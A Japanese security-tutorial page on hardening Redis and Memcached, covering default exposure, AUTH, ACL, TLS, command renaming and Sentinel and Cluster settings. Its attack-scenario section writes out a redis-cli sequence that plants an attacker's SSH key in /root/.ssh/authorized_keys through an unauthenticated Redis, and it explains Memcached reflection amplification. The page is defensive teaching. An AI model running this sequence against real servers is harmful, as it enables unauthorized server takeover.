Secure Steady
Redis / キャッシュ - Redis / キャッシュセキュリティ の使い方・オプション・サンプル

Redis / キャッシュ - Redis / キャッシュセキュリティ

Redis / Memcached 等のインメモリキャッシュのセキュリティ。デフォルトで認証なし・全公開になりがちな危険性、AUTH 設定、TLS 対応、Sentinel / Cluster 構成での考慮点を解説。

概念図

Redis / キャッシュセキュリティ diagram

攻撃シナリオ

認証なし Redis 経由のサーバー乗っ取り

bash
# 攻撃者が認証なしの Redis に接続し、SSH 公開鍵を書き込む
redis-cli -h <target>
> CONFIG SET dir /root/.ssh/
> CONFIG SET dbfilename "authorized_keys"
> SET payload "\n\nssh-rsa AAAA...attacker-key\n\n"
> SAVE
# → サーバーに SSH ログイン可能に

Memcached を悪用した DDoS 増幅攻撃

bash
# Memcached リフレクション DDoS
# 攻撃者が送信元 IP を偽装し、Memcached に小さなリクエストを送信
# → 被害者に数万倍のレスポンスが返る(増幅率 51,000 倍)
# 2018 年の GitHub への 1.35 Tbps 攻撃に使用された手法

# 対策: Memcached を外部公開しない
# memcached -l 127.0.0.1 -U 0  # UDP 無効化

デフォルト設定の危険性

Redis や Memcached はデフォルトで認証なし・外部公開の状態になりやすく、インターネット上で数万台の無防備なインスタンスが発見されています。

  • Redis: バージョン 3.2 以前は bind 0.0.0.0 がデフォルトで、認証なしで外部からアクセス可能だった。3.2 以降は protected-mode が追加されたが、明示的にバインドアドレスを設定しないと警告のみで起動する
  • Memcached: デフォルトで TCP/UDP 11211 ポートが全インターフェースにバインドされる。認証機構を持たないため、ネットワークレベルでの隔離が唯一の防御策
  • 共通の問題: クラウド環境でセキュリティグループの設定を誤り、キャッシュサーバーのポートがインターネットに公開されるケースが頻発

Redis の認証と暗号化

Redis 6.0 以降では ACL(Access Control List)が導入され、より細かなアクセス制御が可能になりました。

  • AUTH / requirepass: 基本的なパスワード認証。全クライアントが同じパスワードを使う単純な仕組みだが、設定しないよりはるかに安全
  • ACL(Redis 6.0+): ユーザーごとに異なるパスワードと、実行可能なコマンド・アクセス可能なキーパターンを制御できる
  • TLS(Redis 6.0+): クライアントとサーバー間の通信を暗号化。tls-port, tls-cert-file, tls-key-file で設定
  • 危険なコマンドの無効化: FLUSHALL, FLUSHDB, CONFIG, DEBUG, KEYS 等の危険なコマンドを rename-command で無効化またはリネームする

Sentinel / Cluster 構成のセキュリティ

高可用性構成では追加のセキュリティ考慮が必要です。

  • Sentinel: Sentinel 自体にも requirepass を設定する。Sentinel が管理する Redis インスタンスのパスワードが Sentinel の設定ファイルに平文で保存されるため、ファイルのパーミッションを厳格に管理する
  • Cluster: ノード間通信に使われる Cluster Bus ポート(通常 16379)もファイアウォールで保護する。Redis 6.0 以降ではノード間 TLS も設定可能
  • レプリケーション: レプリカへのデータ同期は平文で行われるため、TLS を有効化するか、VPN / プライベートネットワーク内に閉じる
  • 設定の一貫性: 全ノードで ACL・TLS・パスワード設定を統一する。一部ノードだけ設定が甘いと、そこが攻撃の入口になる

関連トピック